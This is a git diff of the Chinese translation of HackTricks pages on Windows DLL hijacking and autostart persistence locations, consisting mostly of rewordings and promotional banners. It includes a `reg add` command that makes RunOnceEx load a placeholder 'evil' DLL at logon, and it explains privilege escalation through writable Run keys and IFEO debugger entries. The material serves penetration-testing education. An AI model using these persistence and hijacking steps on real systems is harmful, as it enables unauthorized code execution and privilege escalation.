<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
|
|
@ -5,22 +5,22 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## 定义
|
||||
|
||||
首先,让我们先了解一下定义。DLL劫持是指**欺骗一个合法/可信的应用程序加载任意DLL**。术语如_DLL搜索顺序劫持_、_DLL加载顺序劫持_、_DLL欺骗_、_DLL注入_和_DLL侧加载_经常被错误地用来表示相同的意思。
|
||||
首先,让我们先了解一下定义。DLL劫持在最广义上是指**欺骗一个合法/可信任的应用程序加载任意DLL**。术语如_DLL搜索顺序劫持_、_DLL加载顺序劫持_、_DLL欺骗_、_DLL注入_和_DLL侧加载_经常被错误地用来表示相同的意思。
|
||||
|
||||
DLL劫持可以用于**执行**代码、获取**持久性**和**提升权限**。在这三种情况中,**最不可能**发现的是**提升权限**。然而,由于这是权限提升部分的一部分,我将重点介绍这个选项。此外,无论目标是什么,DLL劫持的执行方式都是相同的。
|
||||
|
||||
|
@ -30,14 +30,14 @@ DLL劫持可以用于**执行**代码、获取**持久性**和**提升权限**
|
|||
|
||||
1. **DLL替换**:用恶意DLL替换合法DLL。这可以与_DLL代理_结合使用\[[2](https://kevinalmansa.github.io/application%20security/DLL-Proxying/)],以确保原始DLL的所有功能保持完整。
|
||||
2. **DLL搜索顺序劫持**:应用程序指定的没有路径的DLL按照特定顺序在固定位置进行搜索\[[3](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order)]。通过将恶意DLL放在实际DLL之前进行搜索顺序劫持。这有时包括目标应用程序的工作目录。
|
||||
3. **幻影DLL劫持**:在合法应用程序尝试加载的缺失/不存在的DLL位置放置恶意DLL\[[4](http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/)]。
|
||||
4. **DLL重定向**:更改DLL的搜索位置,例如通过编辑`%PATH%`环境变量或`.exe.manifest` / `.exe.local`文件以包含包含恶意DLL的文件夹\[[5](https://docs.microsoft.com/en-gb/windows/win32/sbscs/application-manifests), [6](https://docs.microsoft.com/en-gb/windows/win32/dlls/dynamic-link-library-redirection)]。
|
||||
3. **幻影DLL劫持**:将恶意DLL放在缺失/不存在的DLL位置,合法应用程序尝试加载该DLL\[[4](http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/)]。
|
||||
4. **DLL重定向**:更改搜索DLL的位置,例如通过编辑`%PATH%`环境变量,或`.exe.manifest` / `.exe.local`文件以包含包含恶意DLL的文件夹\[[5](https://docs.microsoft.com/en-gb/windows/win32/sbscs/application-manifests), [6](https://docs.microsoft.com/en-gb/windows/win32/dlls/dynamic-link-library-redirection)]。
|
||||
5. **WinSxS DLL替换**:在目标DLL的相关WinSxS文件夹中用恶意DLL替换合法DLL。通常称为DLL侧加载\[[7](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf)]。
|
||||
6. **相对路径DLL劫持**:将合法应用程序复制(并可选地重命名)到用户可写入的文件夹中,与恶意DLL放在一起。在使用方式上,它与(签名的)二进制代理执行\[[8](https://attack.mitre.org/techniques/T1218/)]有相似之处。这种方法的变体有点自相矛盾,被称为“_bring your own LOLbin_”\[[9](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/)],其中合法应用程序与恶意DLL一起提供(而不是从受害者机器上的合法位置复制)。
|
||||
6. **相对路径DLL劫持**:将合法应用程序复制(并可选择重命名)到用户可写入的文件夹中,与恶意DLL放在一起。在使用方式上,它与(签名的)二进制代理执行\[[8](https://attack.mitre.org/techniques/T1218/)]有相似之处。这种方法的变体有点自相矛盾,被称为“_bring your own LOLbin_”\[[9](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/)],其中合法应用程序与恶意DLL一起提供(而不是从受害者机器上的合法位置复制)。
|
||||
|
||||
## 查找缺失的DLL
|
||||
|
||||
在系统中查找缺失的DLL的最常见方法是运行[procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon),**设置以下2个过滤器**:
|
||||
在系统中查找缺失的DLL最常见的方法是运行[procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon),**设置以下两个过滤器**:
|
||||
|
||||
![](<../../.gitbook/assets/image (311).png>)
|
||||
|
||||
|
@ -119,7 +119,7 @@ dumpbin /export /path/file.dll
|
|||
|
||||
### 示例
|
||||
|
||||
如果您找到了一个可利用的场景,成功利用它的最重要的事情之一将是**创建一个导出至少所有可执行文件将从中导入的函数的dll**。无论如何,注意Dll劫持在从中间完整性级别升级到高级(绕过UAC)或从高级完整性升级到SYSTEM方面非常方便。您可以在此dll劫持研究中找到一个创建有效dll的示例,重点是用于执行的dll劫持:[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
如果您找到了一个可利用的场景,成功利用它的最重要的事情之一将是**创建一个导出至少所有可执行文件将从中导入的函数的dll**。无论如何,请注意,Dll劫持在从中间完整性级别升级到高级(绕过UAC)或从高级升级到SYSTEM方面非常方便。您可以在此dll劫持研究中找到一个创建有效dll的示例,该研究专注于用于执行的dll劫持:[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
此外,在下一节中,您可以找到一些可能有用作模板或创建具有非必需导出函数的dll的基本dll代码。
|
||||
|
||||
## **创建和编译Dlls**
|
||||
|
@ -227,7 +227,7 @@ break;
|
|||
return TRUE;
|
||||
}
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
|
@ -237,9 +237,9 @@ return TRUE;
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要获取**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
|
|
|
@ -5,22 +5,22 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的系统-**我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## WMIC
|
||||
|
||||
可以使用**Wmic**在**启动时**运行程序。查看在启动时运行的二进制文件:
|
||||
**Wmic**可以用来在**启动时**运行程序。使用以下命令查看在启动时运行的二进制文件:
|
||||
```bash
|
||||
wmic startup get caption,command 2>nul & ^
|
||||
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
|
||||
|
@ -73,7 +73,7 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
|
|||
|
||||
Run 和 RunOnce 注册表键会导致程序在每次用户登录时运行。键的数据值是一条不超过 260 个字符的命令行。
|
||||
|
||||
**服务运行**(可以控制启动时服务的自动启动):
|
||||
**服务运行**(可以控制启动时自动启动的服务):
|
||||
|
||||
* `HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
|
||||
* `HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
|
||||
|
@ -92,7 +92,7 @@ Run 和 RunOnce 注册表键会导致程序在每次用户登录时运行。键
|
|||
在 Windows Vista 和更新版本中,默认不会创建此项。注册表运行键条目可以直接引用程序,也可以将其列为依赖项。例如,可以使用 RunOnceEx 的 "Depend" 键在登录时加载 DLL:`reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"`
|
||||
|
||||
{% hint style="info" %}
|
||||
**Exploit 1**:如果您可以在 **HKLM** 中的任何提到的注册表中写入内容,则可以在其他用户登录时提升权限。
|
||||
**Exploit 1**:如果您可以在 **HKLM** 中的任何提及的注册表中写入内容,则可以在其他用户登录时提升权限。
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="info" %}
|
||||
|
@ -181,7 +181,7 @@ Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion
|
|||
`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`
|
||||
|
||||
通常,**Userinit**键指向userinit.exe,但如果该键被更改,那么该exe也将由Winlogon启动。\
|
||||
**Shell**键应指向explorer.exe。
|
||||
**Shell**键应该指向explorer.exe。
|
||||
```bash
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit"
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell"
|
||||
|
@ -312,11 +312,17 @@ When a program is launched, the operating system checks if there are any IFEO en
|
|||
|
||||
当一个程序被启动时,操作系统会检查Windows注册表中是否存在该程序的任何IFEO条目。如果存在IFEO条目,则启动指定的调试器而不是原始程序。这可以用来以提升的权限执行任意代码。
|
||||
|
||||
To escalate privileges using IFEO, an attacker needs to create a new IFEO entry for a target program and specify a malicious binary as the debugger. When the target program is launched, the malicious binary will be executed with the same privileges as the target program, potentially allowing the attacker to gain administrative access.
|
||||
To escalate privileges using IFEO, an attacker can create a new IFEO entry for a system utility or a trusted application that runs with higher privileges. The attacker can specify their own malicious binary as the debugger, which will be executed with elevated privileges whenever the targeted program is launched.
|
||||
|
||||
要使用IFEO提升权限,攻击者需要为目标程序创建一个新的IFEO条目,并将恶意二进制文件指定为调试器。当目标程序被启动时,恶意二进制文件将以与目标程序相同的权限执行,可能允许攻击者获得管理员访问权限。
|
||||
要使用IFEO提升权限,攻击者可以为系统实用程序或以较高权限运行的受信任应用程序创建一个新的IFEO条目。攻击者可以将自己的恶意二进制文件指定为调试器,每当目标程序启动时,该恶意二进制文件都会以提升的权限执行。
|
||||
|
||||
To prevent privilege escalation through IFEO, it is recommended to regularly monitor the Windows Registry for any suspicious IFEO entries. Additionally, restricting access to the Windows Registry and implementing strong security measures can help mitigate the risk of IFEO abuse.
|
||||
This technique can be particularly effective for privilege escalation because it allows an attacker to execute code with the same privileges as the targeted program, which may include administrative privileges.
|
||||
|
||||
这种技术对于提升权限特别有效,因为它允许攻击者以与目标程序相同的权限执行代码,这可能包括管理员权限。
|
||||
|
||||
To prevent privilege escalation through IFEO, it is recommended to regularly monitor the Windows Registry for any suspicious IFEO entries. Additionally, restricting write access to the IFEO registry keys can help mitigate this attack vector.
|
||||
|
||||
为了防止通过IFEO进行权限提升,建议定期监视Windows注册表以查找任何可疑的IFEO条目。此外,限制对IFEO注册表键的写访问可以帮助减轻这种攻击向量。
|
||||
```
|
||||
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
|
||||
HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options
|
||||
|
@ -337,7 +343,7 @@ autorunsc.exe -m -nobanner -a * -ct /accepteula
|
|||
* [https://attack.mitre.org/techniques/T1547/001/](https://attack.mitre.org/techniques/T1547/001/)
|
||||
* [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果您对**黑客职业**感兴趣并想要攻击不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
|
||||
|
@ -348,9 +354,9 @@ autorunsc.exe -m -nobanner -a * -ct /accepteula
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|